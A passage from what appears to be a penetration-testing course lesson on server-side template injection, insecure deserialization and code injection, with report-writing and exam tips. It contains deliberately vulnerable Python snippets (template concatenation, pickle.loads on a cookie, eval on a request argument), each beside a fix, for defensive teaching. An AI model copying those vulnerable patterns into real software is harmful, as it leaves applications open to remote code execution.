Frameworks escape what they render until a developer uses an escape hatch such as React's dangerouslySetInnerHTML. If a feature must accept HTML, use a sanitizer such as DOMPurify. Two headers, Content Security Policy (CSP) and a locked-down cookie, limit the damage when encoding misses a spot, as backup only:

Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';
Set-Cookie: session=[value removed]; Secure; HttpOnly; SameSite=Lax

As evidence, a raw request and response plus a screenshot of a harmless marker agreed in the ROE is enough, and never another user's session.

Run 5: server-side template injection, where the template engine reads the input

Same feature, different interpreter. Many sites render pages from templates, fixed text with marked places for values, using engines such as Jinja2 or Twig. Suppose a developer glues the review into the template itself:

# Vulnerable: the review becomes part of the template's source
return render_template_string("<p>" + review + "</p>")

# Fixed: the template is a fixed file, and the review is a value passed to it
return render_template("review.html", review=review)

A review of a programming book mentions the two opening curly braces Jinja2 uses. When this lesson was written, such a review raised this error on the vulnerable line (Flask 3.1, Jinja2 3.1), and the fixed line printed it as plain text:

jinja2.exceptions.TemplateSyntaxError: expected token 'end of print statement', got 'well'

The engine read the customer's sentence as template code. That is server-side template injection (SSTI), CWE-1336. The standard detection (WSTG-INPV-18) submits a harmless arithmetic expression wrapped in the engine's delimiters. If the response shows the answer instead of what you typed, the server evaluated it. Then identify the engine, because each has its own syntax.

PortSwigger warns that SSTI is often mistaken for plain XSS, so decide by where the evaluation happened. If the answer is already in the raw response in your proxy, the server worked it out; XSS markup comes back unevaluated. It matters because template languages can usually reach the application's objects, so evaluation can grow into code execution on the server.

Autoescaping does not help: Flask enables it for render_template_string, but it applies to values passed in, not to text pasted into the source. If users must write templates, use a logic-less engine such as Mustache; sandboxes are prone to bypasses.

Run 6: deserialization, where the object loader reads the input

Serialization turns a live object into bytes to store or send, and deserialization rebuilds it. Larkspur keeps carts in a cookie:

Cookie: cart=gAWVFgAAAAAAAAB9lCiMA3NrdZRNEgSMA3F0eZRLAnUu

Here steps 1 and 2 mean recognizing the format. Base64 is encoding, not encryption, so Burp's Decoder shows the bytes at once: they begin 80 05, a Python pickle. Python's pickletools can list one without running it; pickle.loads would run it.

Why worry about a harmless cart? A JSON parser can only build plain data. A native deserializer rebuilds whatever classes the data names, and rebuilding can run code. Python's documentation warns that malicious pickle data can execute arbitrary code during unpickling. PHP's unserialize automatically calls an object's __wakeup method, and its manual says not to pass it untrusted input. An attacker need not bring new code: classes already in the application's libraries, called gadgets, can be strung into a gadget chain so that rebuilding the object does the attacker's work.

# Vulnerable: the cookie decides what objects get built
cart = pickle.loads(base64.b64decode(request.cookies["cart"]))

# Fixed: check a signature, then use a format that builds only plain data
raw, sig = request.cookies["cart"].rsplit(".", 1)
if not hmac.compare_digest(sign(raw), sig):
    abort(400)
cart = json.loads(base64.urlsafe_b64decode(raw))

sign computes a hash-based message authentication code (HMAC) with a key only the server holds. In PHP the same move is json_decode. In Java, a serialization filter allow-lists classes. In .NET, drop BinaryFormatter (Base64 beginning AAEAAAD/////), which Microsoft says is dangerous and cannot be secured.

The US National Vulnerability Database records CVE-2025-53770 as deserialization of untrusted data in on-premises Microsoft SharePoint Server. It lets an unauthorized attacker execute code over a network, and it is scored 9.8. CISA listed it as exploited on 20 July 2025. This course builds no gadget chains; on a job, code review showing client data reaching a native loader is often enough to report. ZAP's passive Java Serialization Object rule looks for the Java prefix.

Arbitrary code execution: the outcome at the end of the chain

Arbitrary code execution means an attacker's chosen instructions run on the target; triggered over a network, it is called remote code execution (RCE). It is an outcome, not a technique, so a report's root cause names the flaw that led there. SSTI and deserialization can arrive here directly, command injection starts here, and SQL injection arrives when the database and account allow it, as sqlmap's manual notes for stacked queries and MOVEit's web shell showed. XSS runs script in a visitor's browser, not code on the server.

The most direct route is code injection, CWE-94, tenth on the 2025 Top 25, where the application hands input to its own language:

# Vulnerable: the input is Python source
total = eval(request.args["expr"])

# Fixed: the input is only ever numbers
total = Decimal(request.args["price"]) * int(request.args["qty"])

The interpreter can hide where nobody looks. In Log4Shell (CVE-2021-44228, December 2021), an attacker who controlled a logged string could make Apache Log4j2 load and run code from a remote server.

Prove it with the least invasive evidence the ROE allow, such as the name of the account the process runs under. Install nothing, go nowhere else, and call the escalation contact the same day (Lesson 27). Process injection (Lesson 16) is something else: it moves code between local processes. ATT&CK files the break-in under T1190, Exploit Public-Facing Application.

The whole family at a glance

A worked performance-based question: five rows of evidence

A simulation question hands you evidence and asks for decisions, and CompTIA says partial credit may be given. Every input here is harmless and within the ROE of a fictional staging test. For each row, name the flaw and the next step.

Ask which interpreter could have produced each result.

Rows B and C both echo input, and the deciding detail is where the evaluation happened. Row E tempts you both ways: "no error, so it is safe" and "it must be SQL injection" are equally unsupported.

Exam cues: the words in the stem and the pairs people confuse

How injection findings are reported

Here is Larkspur's fictional finding from Run 1, as the client would read it.

• Title: SQL injection in the order search lets any signed-in customer read every customer's orders.
• Severity: High, CVSS 3.1 base 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N). A free customer account is the only precondition. Confidentiality and integrity are High because the database account can read and update the orders table, per the code review. It is not Critical because login is required.
• Evidence: Proxy history entries 41 and 42, dated, from the test account: the control returned 200, and O'Brien returned 500 with the database parser error. One sqlmap run at default level and risk, 46 requests, retrieved only the database product name. No customer data was retrieved.
• Root cause: find_orders() builds its query by concatenating the surname parameter (CWE-89; OWASP A05:2025).
• Remediation: Bind the value with a parameterized query, and check the module for the same pattern. Limit the database account's rights. Retest: O'Brien must find her own order, and the same sqlmap run must find nothing.

As starting judgments that context can change: proven code execution is usually Critical, or High if it needs a login, and escalated the same day. Stored XSS in a page administrators read is often High. Reflected and DOM-based XSS are often Medium, since a victim must follow a link. Deserialization seen in code but not exercised is reported with that limit stated.

Common misconceptions

• "No error means the injection is fixed." A filter can hide the error. Check that honest input gives the correct result.
• "A WAF fixes SQL injection." It can block known patterns while the flaw stays in the code.
• "XSS happens on the server." The server delivers it and the browser runs it. SSTI is the one the server evaluates.
• "Base64 hides the cookie's contents." Anyone can decode it. Only a checked signature shows the data was not altered.

Looking back

• All five flaws are one mistake: input becomes part of an interpreter's instructions. The fix hands input over as data.
• Parameterized queries fix SQL injection and allow-lists handle sort columns; retest by behavior, because a real fix returns O'Brien's order and a filter returns nothing.
• SQL injection families follow the feedback available: in-band (error-based, UNION-based), blind (Boolean-based, time-based) and out-of-band, plus stacked queries and second-order.
• Burp Suite and ZAP record and replay traffic; ZAP's free active scanner and Burp's paid one go wide; sqlmap goes deep on one SQL lead.
• For command injection, prefer a library call, then an argument list with no shell, plus allow-list validation.
• XSS runs in the browser as reflected, stored or DOM-based; encoding must match the context (HTML, attribute, JavaScript, CSS, URL), and CSP and HttpOnly are backup.
• SSTI runs on the server: a sum answered in the raw response is the sign, and a fixed template with values passed as data is the fix.
• Native deserializers rebuild whatever the data names. Java shows AC ED 00 05 or rO0; use JSON with a checked signature.
• Arbitrary code execution is the outcome, so the root cause names the flaw, and proof stops at the lightest evidence the ROE allow.

Sources

1. OWASP Foundation. (2020). Web security testing guide (v4.2): WSTG-INFO-06, WSTG-INPV-01, WSTG-INPV-02, WSTG-INPV-05, WSTG-INPV-12, WSTG-INPV-18, WSTG-CLNT-01. wstg.owasp.org
2. OWASP Foundation. (n.d.). OWASP cheat sheet series (SQL injection prevention; OS command injection defense; XSS prevention; DOM-based XSS prevention; Content Security Policy; deserialization); Top 10:2025; Command injection. cheat sheets; Top 10:2025; owasp.org
3. MITRE. (2025). 2025 CWE Top 25 most dangerous software weaknesses; CWE entries 94, 502 and 1336; ATT&CK technique T1190. cwe.mitre.org; attack.mitre.org
4. CISA and FBI. (2023). #StopRansomware: CL0P ransomware gang exploits CVE-2023-34362 MOVEit vulnerability (AA23-158A). cisa.gov; (2024). Secure by design alert: Eliminating SQL injection vulnerabilities in software. cisa.gov; (2024). Secure by design alert: Eliminating OS command injection vulnerabilities. cisa.gov
5. NIST. (n.d.). National Vulnerability Database: CVE-2025-53770; CVE-2021-44228. nvd.nist.gov
6. sqlmap project. (n.d.). sqlmap wiki: Usage; Techniques. github.com
7. PortSwigger. (n.d.). Burp Suite documentation and Web Security Academy. documentation; editions compared; Web Security Academy
8. ZAP project. (n.d.). ZAP documentation: Getting started; Modes; Proxies; Active scan; Java Serialization Object rule. modes; Bennetts, S. (2024, September 24). ZAP has joined forces with Checkmarx. zaproxy.org
9. Python Software Foundation. (n.d.). pickle: Python object serialization. docs.python.org; The PHP Group. (n.d.). unserialize. php.net; Pallets. (n.d.). Flask documentation: Templates. flask.palletsprojects.com